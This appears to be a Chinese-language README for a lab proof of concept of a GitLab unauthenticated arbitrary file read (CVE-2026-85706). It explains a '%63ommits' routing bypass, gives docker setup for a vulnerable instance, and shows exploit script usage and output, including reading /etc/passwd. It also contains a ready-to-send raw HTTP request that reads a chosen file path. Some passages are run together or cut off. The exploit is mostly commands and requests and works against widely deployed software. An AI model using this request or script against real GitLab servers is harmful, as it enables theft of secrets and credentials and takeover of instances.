★ CVE-2026-85706 GitLab 未认证任意文件读取 PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 是 GitLab CE/EE 中的一个未认证任意文件读取漏洞(CVSS 10.0,CISA KEV),通过
POST /api/v4/projects/:id/repository/commits触发。其请求体上传辅助函数在authenticate!之前运行,并将params['file.path']作为绝对路径读取,没有任何路径限制。 对commits中的一个字符进行 URL 编码 →%63ommits,使 GitLab-Workhorse 无法匹配该路由(因此它永远不会覆盖file.path),而 Rails 仍会将%63 → c解码并路由到处理程序——从而允许攻击者通过查询字符串设置file.path。当Content-Type=application/x-www-form-urlencoded时,辅助函数会重新解析文件内容,而一个后面不跟两个十六进制数字的%会在400响应体中反射该内容(不含该字符的文件只能提供401读取预言机)。需要至少一个公开项目。
| 类别 | 版本 |
|---|---|
| 受影响 | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| 已修复 | 19.1.8 / 19.2.6 / 19.3.2 或更高版本(2026-09-10) |
% 的文件(应用日志,以及内嵌 URL 编码值的配置/凭据)→ 信息收集 + 凭据窃取 → 链式利用获取已认证访问 / 完全攻陷实例gitlab-secrets.json、database.yml);注意,纯十六进制/base64 文件通过公开的 % 反射通道只能返回存在性预言机(没有无效 % 字节来触发回显)authenticate!,因此未认证请求会在到达文件读取汇聚点之前被拒绝构建并运行存在漏洞的 GitLab CE。启动时,种子程序会植入 /flag.txt(带有末尾
% 泄露触发器)并创建一个公开项目 victim/public-app(项目 id 1),以便
commits API 可在未认证状态下访问。首次启动约需 2–3 分钟。
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
该 flag 是一个占位符(EQST{gitlab_cve_2026_85706_arbitrary_file_read})。可在
运行时设置自己的 flag,无需编辑镜像:docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706。
| 前置条件 | 本实验环境中的状态 |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| 至少一个公开项目(匿名可访问 commits API) | victim/public-app(id 1),自动创建 |
/api/v4/projects/:id/repository/commits 可未认证访问 | 已暴露 |
| 服务器文件系统上的 flag | /flag.txt(末尾 % 反射触发器) |
漏洞利用脚本 gitlab_exploit.py 通过单个未认证请求从服务器读取文件,
使用 %63ommits Workhorse 路由绕过和 urlencoded 重新解析错误通道。
使用 --read 选择文件(默认 /flag.txt)。
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
选项:
--read "<abs path>" — 要读取的绝对文件路径(默认 /flag.txt)--project <id> — 可未认证访问的公开项目 id(默认 1)--check — 仅确认文件读取汇聚点可达(预期返回 local file not present)原始请求(用于 Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
*/repository/commits* 和 */repository/files* 的 POST/PUT 请求,并将实例置于 SSO / VPN / IP 允许列表之后